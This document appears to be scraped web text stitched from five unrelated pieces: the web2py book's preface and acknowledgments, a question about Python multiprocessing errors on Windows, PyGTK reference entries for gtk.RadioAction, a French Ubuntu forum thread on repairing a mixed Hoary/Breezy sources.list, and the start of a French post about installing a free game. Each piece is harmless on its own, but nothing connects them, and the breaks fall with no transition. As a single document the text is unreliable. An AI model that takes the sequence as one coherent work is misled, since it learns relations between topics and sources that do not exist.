Chapter 12 discusses web2py components and plugins as a way to build modular applications. We provide an example of a plugin that implements many commonly used functionality, such as charting, comments, and tagging.
Chapter 13 is about production deployment of web2py applications. We specifically discuss the deployment on a LAMP web server (which we consider the main deployment alternative). We discuss alternative web servers, and configuration of the PostgreSQL database. We discuss running as a service on a Microsoft Windows environment, and deployment on some specific platforms including Google Applications Engine, Heroku, and PythonAnywhere. In this chapter, we also discuss security and scalability issues.
Chapter 14 contains a variety of other recipes to solve specific tasks, including upgrades, geocoding, pagination, the Twitter API, and more.
Chapter 15 has information and helping and contributing to the project, with topics such as making bug reports and contributing changes to the code.
This book only covers basic web2py functionalities and the API that ships with web2py. This book does not cover web2py appliances (i.e. ready made applications).
You can download web2py appliances from the corresponding web site [appliances].
This book has been written using the MARKMIN syntax See Chapter 5 and automatically converted to HTML, LaTeX and PDF.
Support
The main support channel is the usergroup[usergroup], with dozens of posts every day. Even if you're a newbie, don't hesitate to ask - we'll be pleased to help you. There is also a formal issue tracker system on http://code.google.com/p/web2py/issues . Last but not least, you can have professional support (see the web site for details).
Contribute
Any help is really appreciated. You can help other users on the user group, or by directly submitting patches on the program (at the GitHub site https://github.com/web2py/web2py). Even if you find a typo on this book, or have an improvement on it, the best way to help is by patching the book itself (which is under the source folder of the repository at https://github.com/mdipierro/web2py-book). For more information on contributing, please see Chapter 15
Elements of style
PEP8 [style] contains good style practices when programming with Python. You will find that web2py does not always follow these rules. This is not because of omissions or negligence; it is our belief that the users of web2py should follow these rules and we encourage it. We chose not to follow some of those rules when defining web2py helper objects in order to minimize the probability of name conflict with objects defined by the user.
For example, the class that represents a <div> is called DIV, while according to the Python style reference it should have been called Div. We believe that, for this specific example that using an all-upper-case "DIV" is a more natural choice. Moreover, this approach leaves programmers free to create a class called "Div" if they choose to do so. Our syntax also maps naturally into the DOM notation of most browsers (including, for example, Firefox).
According to the Python style guide, all-upper-case strings should be used for constants and not variables. Continuing with our example, even considering that DIV is a class, it is a special class that should never be modified by the user because doing so would break other web2py applications. Hence, we believe this qualifies the DIV class as something that should be treated as a constant, further justifying our choice of notation.
In summary, the following conventions are followed:
HTML helpers and validators are all upper case for the reasons discussed above (for example DIV,A,FORM,URL).
The translator object Tis upper case despite the fact that it is an instance of a class and not a class itself. Logically the translator object performs an action similar to the HTML helpers, it affects rendering part of the presentation. Also,Tneeds to be easy to locate in the code and must have a short name.
DAL classes follow the Python style guide (first letter capitalized), for example Table,Field,Query,Row,Rows, etc.
In all other cases we believe we have followed, as much as possible, the Python Style Guide (PEP8). For example all instance objects are lower-case (request, response, session, cache), and all internal classes are capitalized.
In all the examples of this book, web2py keywords are shown in bold, while strings and comments are shown in italic.
License
web2py is licensed under the LGPL version 3 License. The full text of the license is available in ref.[lgpl3].
In accordance with LGPL you may:
redistribute web2py with your apps (including official web2py binary versions)
release your applications which use official web2py libraries under any license you wish
Yet you must:
make clear in the documentation that your application uses web2py
release any modification of the web2py libraries under the LGPLv3 license
The license includes the usual disclaimer:
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
Earlier versions
Earlier versions of web2py, 1.0.*-1.90.*, were released under the GPL2 license plus a commercial exception which, for practical purposes, was very similar to the current LGPLv3.
Third party software distributed with web2py
web2py contains third party software under the gluon/contrib/ folder and various JavaScript and CSS files. These files are distributed with web2py under their original licenses, as stated in the files.
Acknowledgments
web2py was originally developed by and copyrighted by Massimo Di Pierro. The first version (1.0) was released in October, 2007. Since then it has been adopted by many users, some of whom have also contributed bug reports, testing, debugging, patches, and proofreading of this book.
Some of the major developers and contributors are, in alphabetical order by first name:
Adam Bryzak, Adam Gojdas, Adrian Klaver, Alain Boulch, Alan Etkin, Alec Taylor, Alexandre Andrade, Alexey Nezhdanov, Alvaro Justen, Anand Vaidya, Anatoly Belyakov, Ander Arbelaiz, Anders Roos, Andrew Replogle, Andrew Willimott, Angelo Compagnucci, Angelo and Villas, Annet Vermeer, Anthony Bastardi, Anton Muecki, Antonio Ramos, Arun Rajeevan, Attila Csipa, Ben Goosman, Ben Reinhart, Benjamin, Bernd Rothert, Bill Ferret, Blomqvist, Boris Manojlovic, Branko Vukelic, Brent Zeiben, Brian Cottingham, Brian Harrison, Brian Meredyk, Bruno Rocha, CJ Lazell, Caleb Hattingh, Carlos Galindo, Carlos Hanson, Carsten Haese, Cedric Meyer, Charles Law, Charles Winebrinner, Chris Clark, Chris May, Chris Sanders, Christian Foster Howes, Christopher Smiga, Christopher Steel, Clavin Sim, Cliff Kachinske, Corne Dickens, Craig Younkins, Dan McGee, Dan Ragubba, Dane Wright, Danny Morgan, Daniel Gonz, Daniel Haag, Daniel Lin, Dave Stoll, David Adley, David Harrison, David Lin, David Marko, David Wagner, Denes Lengyel, Diaz Luis, Dirk Krause, Dominic Koenig, Doug Warren, Douglas Philips, Douglas Soares de Andrade, Douglas and Alan, Dustin Bensing, Elcio Ferreira, Eric Vicenti, Erwin Olario, Falko Krause, Farsheed Ashouri, Felipe Meirelles, Flavien Scheurer, Fran Boon, Francisco Gama, Fred Yanowski, Friedrich Weber, Gabriele Alberti, Gergely Kontra, Gergely Peli, Gerley Kontra, Gilson Filho, Glenn Caltech, Graham Dumpleton, Gregory Benjamin, Gustavo Di Pietro, Gyuris Szabolcs, Hamdy Abdel-Badeea, Hans C. v. Stockhausen, Hans Donner, Hans Murx, Huaiyu Wang, Ian Reinhart Geiser, Iceberg, Igor Gassko, Ismael Serratos, Jan Beilicke, Jay Kelkar, Jeff Bauer, Jesus Matrinez, Jim Karsten, Joachim Breitsprecher, Joakim Eriksson, Joe Barnhart, Joel Carrier, Joel Samuelsson, John Heenan, Jon Romero, Jonas Rundberg, Jonathan Benn, Jonathan Lundell, Jose Jachuf, Joseph Piron, Josh Goldfoot, Josh Jaques, Jose Vicente de Sousa, Jurgis Pralgauskis, Keith Yang, Kenji Hosoda, Kenneth Lundstr, Kirill Spitsin, Kyle Smith, Larry Weinberg, Limodou, Loren McGinnis, Louis DaPrato, Luca De Alfaro, Luca Zachetti, Lucas D'Avila, Madhukar R Pai, Manuele Presenti, Marc Abramowitz, Marcel Hellkamp, Marcel Leuthi, Marcello Della Longa, Margaret Greaney, Maria Mitica, Mariano Reingart, Marin Prajic, Marin Pranji, Marius van Niekerk, Mark Kirkwood, Mark Larsen, Mark Moore, Markus Gritsch, Mart Senecal, Martin Hufsky, Martin Mulone, Martin Weissenboeck, Mateusz Banach, Mathew Grabau, Mathieu Clabaut, Matt Doiron, Matthew Norris, Michael Fig, Michael Herman, Michael Howden, Michael Jursa, Michael Toomim, Michael Willis, Michele Comitini, Miguel Goncalves, Miguel Lopez, Mike Amy, Mike Dickun, Mike Ellis, Mike Pechkin, Milan Melena, Muhammet Aydin, Napoleon Moreno, Nathan Freeze, Niall Sweeny, Niccolo Polo, Nick Groenke, Nick Vargish, Nico de Groot, Nico Zanferrari, Nicolas Bruxer, Nik Klever, Olaf Ferger, Oliver Dain, Olivier Roch Vilato, Omi Chiba, Ondrej Such, Ont Rif, Oscar Benjamin, Osman Masood, Ovidio Marinho Falcao Neto, Pai, Panos Jee, Paolo Betti, Paolo Caruccio, Paolo Gasparello, Paolo Valleri, Patrick Breitenbach, Pearu Peterson, Peli Gergely, Pete Hunt, Peter Kirchner, Phyo Arkar Lwin, Pierre Thibault, Pieter Muller, Piotr Banasziewicz, Ramjee Ganti, Richard Gordon, Richard Ree, Robert Kooij, Robert Valentak, Roberto Perdomo, Robin Bhattacharyya, Roman Bataev, Ron McOuat, Ross Peoples, Ruijun Luo, Running Calm, Ryan Seto, Salomon Derossi, Sam Sheftel, Scott Roberts, Sebastian Ortiz, Sergey Podlesnyi, Sharriff Aina, Simone Bizzotto, Sriram Durbha, Sterling Hankins, Stuart Rackham, Telman Yusupov, Thadeus Burgess, Thomas Dallagnese, Tim Farrell, Tim Michelsen, Tim Richardson, Timothy Farrell, Tito Garrido, Tyrone Hattingh, Vasile Ermicioi, Vidul Nikolaev Petrov, Vidul Petrov, Vinicius Assef, Vladimir Donnikov, Vladyslav Kozlovsky, Vladyslav Kozlovskyy, Wang Huaiyu, Wen Gong, Wes James, Will Stevens, Yair Eshel, Yarko Tymciurak, Yoshiyuki Nakamura, Younghyun Jo, Zahariash.
I am sure I forgot somebody, so I apologize.
I particularly thank Anthony, Jonathan, Mariano, Bruno, Vladyslav, Martin, Nathan, Simone, Thadeus, Tim, Iceberg, Denes, Hans, Christian, Fran and Patrick for their major contributions to web2py and Anthony, Alvaro, Brian, Bruno, Denes, Dane Denny, Erwin, Felipe, Graham, Jonathan, Hans, Kyle, Mark, Margaret, Michele, Nico, Richard, Roberto, Robin, Roman, Scott, Shane, Sharriff, Sriram, Sterling, Stuart, Thadeus, Wen (and others) for proofreading various versions of this book. Their contribution was invaluable. If you find any errors in this book, they are exclusively my fault, probably introduced by a last-minute edit. I also thank Ryan Steffen of Wiley Custom Learning Solutions for help with publishing the first edition of this book.
web2py contains code from the following authors, whom I would like to thank:
Guido van Rossum for Python[python], Peter Hunt, Richard Gordon, Timothy Farrell for the Rocket[rocket] web server, Christopher Dolivet for EditArea[editarea], Bob Ippolito for simplejson[simplejson], Simon Cusack and Grant Edwards for pyRTF[pyrtf], Dalke Scientific Software for pyRSS2Gen[pyrss2gen], Mark Pilgrim for feedparser[feedparser], Trent Mick for markdown2[markdown2], Allan Saddi for fcgi.py, Evan Martin for the Python memcache module[memcache], John Resig for jQuery[jquery].
I thank Helmut Epp (provost of DePaul University), David Miller (Dean of the College of Computing and Digital Media of DePaul University), and Estia Eichten (Member of MetaCryption LLC), for their continuous trust and support.
Finally, I wish to thank my wife, Claudia, and my son, Marco, for putting up with me during the many hours I have spent developing web2py, exchanging emails with users and collaborators, and writing this book. This book is dedicated to them.
top |
Not sure why this error is appearing. I've searched around to no avail. I decided to take a punt at making my script run multi-threaded using the multiprocessing module, and if I remove that code the script runs fine.
So I ran the debugger and it also doesn't encounter any error with the multi-threading code, which seems a bit weird. But when I try to run the script just normally, it prints under 3.2.3:
Python 3.2.3 (default, Apr 11 2012, 07:12:16) [MSC v.1500 64 bit (AMD64)]
Type "help", "copyright", "credits" or "license" for more information.
[evaluate scratch.py]
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "C:\Python32\Lib\multiprocessing\forking.py", line 369, in main
self = load(from_parent)
AttributeError: 'module' object has no attribute 'search_letters_in_words'
Traceback (most recent call last):
File "C:\Program Files (x86)\Wing IDE 4.1\src\debug\tserver\_sandbox.py", line 122, in <module>
File "C:\Python32\Lib\multiprocessing\process.py", line 132, in start
self._popen = Popen(self)
File "C:\Python32\Lib\multiprocessing\forking.py", line 269, in __init__
to_child.close()
builtins.IOError: [Errno 22] Invalid argument
Edit: I switched over to 3.3 to see what happens and it unconsistently consistently throws one of these two tracebacks:
Python 3.3.0 (v3.3.0:bd8afb90ebf2, Sep 29 2012, 10:57:17) [MSC v.1600 64 bit (AMD64)]
Type "help", "copyright", "credits" or "license" for more information.
[evaluate scratch.py]
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "C:\Python33\Lib\multiprocessing\forking.py", line 344, in main
self = load(from_parent)
AttributeError: 'module' object has no attribute 'search_letters_in_words'
Traceback (most recent call last):
File "C:\Program Files (x86)\Wing IDE 4.1\src\debug\tserver\_sandbox.py", line 122, in <module>
File "C:\Python33\Lib\multiprocessing\process.py", line 111, in start
self._popen = Popen(self)
File "C:\Python33\Lib\multiprocessing\forking.py", line 243, in __init__
dump(process_obj, to_child, HIGHEST_PROTOCOL)
File "C:\Python33\Lib\multiprocessing\forking.py", line 160, in dump
ForkingPickler(file, protocol).dump(obj)
builtins.BrokenPipeError: [Errno 32] Broken pipe
Python 3.3.0 (v3.3.0:bd8afb90ebf2, Sep 29 2012, 10:57:17) [MSC v.1600 64 bit (AMD64)]
Type "help", "copyright", "credits" or "license" for more information.
[evaluate scratch.py]
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "C:\Python33\Lib\multiprocessing\forking.py", line 344, in main
self = load(from_parent)
AttributeError: 'module' object has no attribute 'search_letters_in_words'
Edit #2 Added traceback when calling from the commandline:
D:\Python\PythonRepo>scratch.py > d:\download\error.txt
Traceback (most recent call last):
File "D:\Python\PythonRepo\scratch.py", line 122, in <module>
thread.start()
File "C:\Python32\Lib\multiprocessing\process.py", line 131, in start
from .forking import Popen
File "C:\Python32\Lib\multiprocessing\forking.py", line 180, in <module>
import _subprocess
ImportError: No module named '_subprocess'
Here's the multiprocessing code I've written so far. It could be (hah who am I kidding, probably is!)buggy but I'm not sure what's wrong as it looks correct (doesn't it always?).
wordList = pickle.load( open( r'd:\download\allwords.pickle', 'rb')) #a list
combos = make_letter_combinations(3) # a list
split = split_list_multi(combos) #2 item tuple with a dict and a number
if __name__ == '__main__':
multiprocessing.freeze_support()
jobs = []
for num in range(split[1]):
listLetters = split[0][str(num)] #a list
thread = multiprocessing.Process(target=search_letters_in_words, args=(listLetters,wordList))
jobs.append(thread)
thread.start()
for j in jobs:
j.join()
Edit: Here's the search_letters_in_words_ function:
def search_letters_in_words(listOfLetters,wordlist):
results = {}
for letters in listOfLetters:
results[letters] = [i for i in wordlist if letters in i]
return results
If anyone could point out what I'm doing wrong I'd appreciate it! |
gtk.RadioAction — an action that can be grouped so that only one can be active (new in PyGTK 2.4)
class gtk.RadioAction(gtk.ToggleAction):
gtk.RadioAction(name, label, tooltip, stock_id, value)
def set_group(group)
def get_group()
def set_current_value()
def get_current_value()
"changed"
def callback(
This object is available in PyGTK 2.4 and above.
gtk.RadioAction(name, label, tooltip, stock_id, value)
A unique name for the action
The label displayed in menu items and on buttons
A tooltip for this action
The stock icon to display in widgets representing this action
A unique integer value that get_current_value() should return if this action is selected.
a new gtk.RadioAction
This constructor is available in PyGTK 2.4 and above.
Creates a new gtk.RadioActionobject suing the properties specified by: name,
labeltooltipstock_idvaluegtk.ActionGroupand set the accelerator for the action, call the gtk.ActionGroup.add_action_with_accel().
def set_group(group)
another gtk.RadioAction or None
This method is available in PyGTK 2.4 and above.
The set_group() method sets the radiogroup for the radio action to the same group as the gtk.RadioActionspecified by group i.e. the radio action joins thegroup.
In PyGTK 2.6.2 and above, if group is
None the radio action is removed from its currentgroup.
def get_group()
a list containing the radio actions in the group or None
This method is available in PyGTK 2.4 and above.
The get_group() method returns a listcontaining the group that the radio action belongs to orNone if the radio action is not part of a group.
def set_current_value()
the new value.
This method is available in PyGTK 2.10 and above.
The get_current_value() method sets the currently active group member to the member with value property current_value.
def get_current_value()
The value of the currently active group member
This method is available in PyGTK 2.4 and above.
The get_current_value() method returnsthe "value" property of the the currently active member of the group thatthe radio action belongs to.
def callback(radioaction, current, user_param1, ...)
the radioaction that received the signal
the currently active gtk.RadioAction in the group
the first user parameter (if any) specifiedwith the connect()
additional user parameters (if any)
This signal is available in GTK+ 2.4 and above.
The "changed" signal is emitted on every member of a radio group when the active member is changed. The signal gets emitted after the "activate" signals for the previous and current active members. |
Trudy
Résolu ! Ouvrir fenêtre Dépôts
Bonjour, Je voudrais savoir comment ouvrir la fenêtre Dépots, si je ne l'ai pas dans Système-Aministration ... Merci pour vos réponses !
Dernière modification par Trudy (Le 04/12/2005, à 15:57)
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Ca s'appel "Gestionnaire de paquets synaptic" dans le chemin que tu donnes.......;)
Hors ligne
janno59
Re : Résolu ! Ouvrir fenêtre Dépôts
dans systeme>administration>gestionnaire de paquets Synaptic.
Puis onglet categorie.
Sinon en console
sudo gedit /etc/apt/sources.list
jean
Hors ligne
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Merci ! Mais, je voulais ouvrir cette fenêtre parce que lorsque j'ai voulu ouvrir le Gestionnaire de fichiers, "il" me disait:
" Les problèmes suivants ont été rencontrés: E. Le type "breesy" est inconnu sur la ligne 3 dans la liste des /sources/etc/apt E. impossible de lire la liste des sources
Vous pouvez essayer de corriger ce problème en ouvrant la fenêtr'e des dépots !
J'ai fait ce que Jean tu me conseillais et sur la console, cela ouvre une fenêtre sources.list(etc/apt) - gedidt avec cela d'écrit:
#deb cdrom:[Ubuntu 5.10 _Breezy Badger_ - Release i386 (20051012)]/
breezy main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
## Uncomment the following two lines to add software from the 'universe'
## repository.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
deb-src http://fr.archive.ubuntu.com/ubuntu breezy universe
deb http://fr.archive.ubuntu.com/ubuntu breezy multiverse universe
main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy multiverse
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://fr.archive.ubuntu.com/ubuntu breezy-backports main
restricted universe multiverse
# deb-src http://fr.archive.ubuntu.com/ubuntu breezy-backports main
restricted universe multiverse
# PLF repositories, contains litigious packages, see
http://wiki.ubuntu-fr.org/doc/plf
deb http://archive.ubuntu.com/ubuntu hoary main restricted multiverse universe
deb-src http://archive.ubuntu.com/ubuntu hoary main restricted
multiverse universe
deb http://archive.ubuntu.com/ubuntu hoary-updates main restricted
deb-src http://archive.ubuntu.com/ubuntu hoary-updates main restricted
deb http://security.ubuntu.com/ubuntu hoary-security main restricted universe
deb-src http://security.ubuntu.com/ubuntu hoary-security main
restricted universe
## Freecontrib, funny packages by the Ubuntu PLF Team
deb ftp://ftp.free.fr/pub/Distributions_Linux/plf/ubuntu/plf/ breezy
free non-free
deb-src ftp://ftp.free.fr/pub/Distributions_Linux/plf/ubuntu/plf/
breezy free non-free
deb ftp://ftp.free.fr/pub/Distributions_Linux/plf/ubuntu/freecontrib/
breezy free non-free
deb-src ftp://ftp.free.fr/pub/Distributions_Linux/plf/ubuntu/freecontrib/
breezy free non-free
deb http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
deb http://fr.archive.ubuntu.com/ubuntu/ breezy universe
Que devrais je faire avec ça ?? Merci pour vos réponses ! !
Excusez moi si le texte est long ! !
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Bonjour,
Si tu es sous Hoary il te faut un sources.list avec les dépots Hoary
Si tu es sous Breezy il te faut un sources.list avec les dépots Breezy
Ton sources.list est un mix des 2
A+
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Merci ! ! Mais je fais quoi et comment ??
Sois gentil de tout m'expliquer, je débute sur Ubuntu ! !
Merci !
Et sur le Terminal après que j'ai mis ce que Jean conseillait il est dit :
"(gedit:17907): GnomePrint-WARNING **: Could not create filter from description ' frgba': filter 'frgba' is unknown
(gedit:17907): GnomePrintCupsPlugin-WARNING **: iconv does not support ppd character encoding: ISOLatin1, trying CSISOLatin1
gaetane@linux:~$
Dernière modification par Trudy (Le 04/12/2005, à 12:17)
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Tiens ,je te refiles le miens, se sera plus clair,on sais jamais si tu enlèeve des dépots qui fallait pas....
Au fait, tu es bien en breezy ??? sinon il est pas valable !
#deb cdrom:[Ubuntu 5.10 _Breezy Badger_ - Release i386 (20051012)]/ breezy main restricted
deb http://fr.archive.ubuntu.com/ubuntu breezy main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
## Uncomment the following two lines to add software from the 'universe'
## repository.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
deb http://fr.archive.ubuntu.com/ubuntu breezy universe
deb-src http://fr.archive.ubuntu.com/ubuntu breezy universe
deb http://fr.archive.ubuntu.com/ubuntu breezy multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu breezy multiverse
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
# deb-src http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
deb http://security.ubuntu.com/ubuntu breezy-security main restricted
deb-src http://security.ubuntu.com/ubuntu breezy-security main restricted
deb http://security.ubuntu.com/ubuntu breezy-security universe
deb-src http://security.ubuntu.com/ubuntu breezy-security universe
deb http://security.ubuntu.com/ubuntu breezy-security multiverse
deb-src http://security.ubuntu.com/ubuntu breezy-security multiverse
## PLF repositories, contains litigious packages, see http://wiki.ubuntu-fr.org/doc/plf
deb http://antesis.freecontrib.org/mirrors/ubuntu/plf/ breezy free non-free
deb-src http://antesis.freecontrib.org/mirrors/ubuntu/plf/ breezy free non-free
## Freecontrib, funny packages by the Ubuntu PLF Team
deb http://antesis.freecontrib.org/mirrors/ubuntu/freecontrib/ breezy free non-free
deb-src http://antesis.freecontrib.org/mirrors/ubuntu/freecontrib/ breezy free non-free
Hors ligne
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Merci !
Comment je peux savoir si je suis sur breezy ?? Michel disait que mon "source list" est un mixe des deux ?? (Hoary et Breezy)!
Je ne sais pas ce que c'est Breezy et Hoary !!!!
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Quand l'as tu installé ? as tu fais un apt-get dist-upgrade ? vas en console, et tape dedans uname -a et copie/colle le resultat ....
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Re
Hoary est la version 5.04, Breezy la version 5.10 ( a.mm)
Quel Kernel utilises-tu : 2.6.12-xx Brezy
Dans Applications ---> Outils Système as-tu Editeur de menu Applications ? Si oui, Breezy
A+
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Voilà le résultat !
Linux linux 2.6.12-10-386 #1 Fri Nov 18 11:51:02 UTC 2005 i686 GNU/Linux
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Breezy, on a posté presque en même temps
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Michel, oui, j'ai editeur de Menu
Donc je serais Breezy ! ?
Qu'est ce que c'est "Kernel' ? Et Breezy et Hoary ?? Des variantes de Ubuntu ???
Dernière modification par Trudy (Le 04/12/2005, à 12:57)
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Pas des variantes, disons des versions d'Ubuntu. Il y a eu Warty, Hoary, Breezy Badger étant la dernière stable, sortie le 13/10/05.
La prochaine version sera la Dapper Drake qui est en unstable (testing on va dire) actuellement.
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Bon, je viens de copier coller ce que m'a donné Express ses sources.list.
Et je retourne pour essayer d'ouvrir mon Gestionnaire de paquets Synaptic, et cela revient comme je vous l'ai mis ci dessus : les deux erreurs ! ! ??? Pourtant, cela devrait marcher, puisque je suis Breezy ! ! ????
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Une nouvelle version tous les 6 Mois, numérotés de cette façon ,le premier = l'année ! :
4.10-->Warty
5.04-->Hoary
5.10-->Breezy
6.04-->Dapper Drake (la prochaine version,actuellement "unstable")
Dernière modification par Express (Le 04/12/2005, à 13:10)
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Si tu as copier/coller ce que je t'ai fournis, il faut en suite ouvrir le gestionnaire comme tu le fais , mais en haut à gauche tu dois cliquer sur l'onglet "recharger" ou alors en console tu fais : sudo apt-get update
Dernière modification par Express (Le 04/12/2005, à 13:14)
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Copy le sources.list que t'a donné Express
sudo gedit /etc/apt/sources.list
Selectionne tout dans ton sources.list colle le sources.list d'express, enregistre le.
Dans un terminal: sudo apt-get update
et après ça marchera
A+
Dernière modification par michel2652 (Le 04/12/2005, à 14:14)
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Express, je te laisse on poste en double :):)
A+
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Express, je te laisse on poste en double :):)
A+
:( mais on n'est pas trops de deux .....
Hors ligne
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
J'ai "copié-collé" ce que tu m'as fourni. J'ai ouvert le Gestionnaire de fichiers, j'ai cliqué sur "Recharger" : ces deux erreurs reviennent ! !
Puis: Echec du téléchargement de tous les fichiers d'index
Le dépot ne semble plus être disponible ou ne peut être contacté, à cause d'un problème de réseau (??) S'il reste un fichier d'index plus ancien, il sera utlisé, sinon le dépot sera ignoré !
?????
Hors ligne
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Rebonjour ! !
J'ai fait, comme tout au début Jeano me le conseiollait: sudo gedit /etc/apt/sources.list
Là dans la fenêtre qui s'est ouverte, j'ai tout effacé et copie ce que Express m'avait fourni ! !
Maintenant, Michel, tu me dis d'écrire dans le Terminal : sudo gedit /etc/X11/xorg.conf Et c'est une toute autre fenêtre qui s'ouvre ! ! ??? dois faire la même chose dans celle ci: effacer ce qu'il y a et y mettre le texte d'Express ??? Ou ai je fait l'erreur ??
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Re,
sudo gedit
Copy ce sources.list
deb http://fr.archive.ubuntu.com/ubuntu breezy universe main restricted multiverse
deb http://security.ubuntu.com/ubuntu breezy-security universe main restricted multiverse
deb http://archive.ubuntu.com/ubuntu/ breezy-updates main restricted universe multiverse
#Backports
deb http://archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
deb http://ubuntu-backports.mirrormax.net/ breezy-extras main restricted universe multiverse
#PLF
deb http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
Ficheir ---> Enregistrer sous ---> Nom du fichier sources.list
Enregistrer dans le dossier /etc/apt
Le fichier existe déjà, remplacer
Console sudo apt-get update
Ca doit etre bon
A+
Dernière modification par michel2652 (Le 04/12/2005, à 13:47)
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Merci !! Mais dans le terminal vient: E: Le type « breezy » est inconnu sur la ligne 3 dans la liste des sources /etc/ apt/sources.list
C'est peut être parce que je n'ai pas effacé ce qu'il y avait avant de copier coller ce que tu viens de me donner ???
Dernière modification par Trudy (Le 04/12/2005, à 13:56)
Hors ligne |
doudoulolita
Faire une animation sur la création de jeux vidéo libres
Dans le topic Création de jeu vidéo libre - Appel à candidatures, j'ai découvert le créateur de jeu de Ultimate Smash Friends, Tshirtman.
Voici ce que je lui ai écrit:
Je cherche un jeu que notre Espace Public Numérique pourrait proposer aux jeunes sur Linux, voire les inciter à participer au projet de développement. smile
Mais j'ai du mal à installer Ultimate smash friends chez moi sur Ubuntu Studio Jaunty... mad
Le lien du paquet en .deb sur http://usf.tuxfamily.org/wiki/Download#Requirements ne fonctionne pas.
J'ai finalement trouvé le paquet en .deb sur cette page en suivant le lien indiqué au bas de la précédente (ouf !).
Mais à l'install avec Gdebi, il m'indique qu'il manque python-support.
Pourtant, j'ai vérifié que j'avais python (version 2.6, faut-il la version 2.3 ?) et j'ai installé python-pygame juste avant.
python-support est bien installé (j'ai vérifié dans synaptic), alors ?
C'est le genre de problème qui n'incitera pas les jeunes à se mettre sous Linux, ça, le moindre effort leur est insupportable, les pauvres chéris... cool
La page d'Ultimate-smash-friends destinée aux développeurs fait un peu peur ! Je dois avouer que moi qui aime dessiner (en utilisant Gimp, Inkscape mais je tate aussi de la 3D avec Blender), j'aimerais participer à titre individuel, mais je n'y comprends goutte !
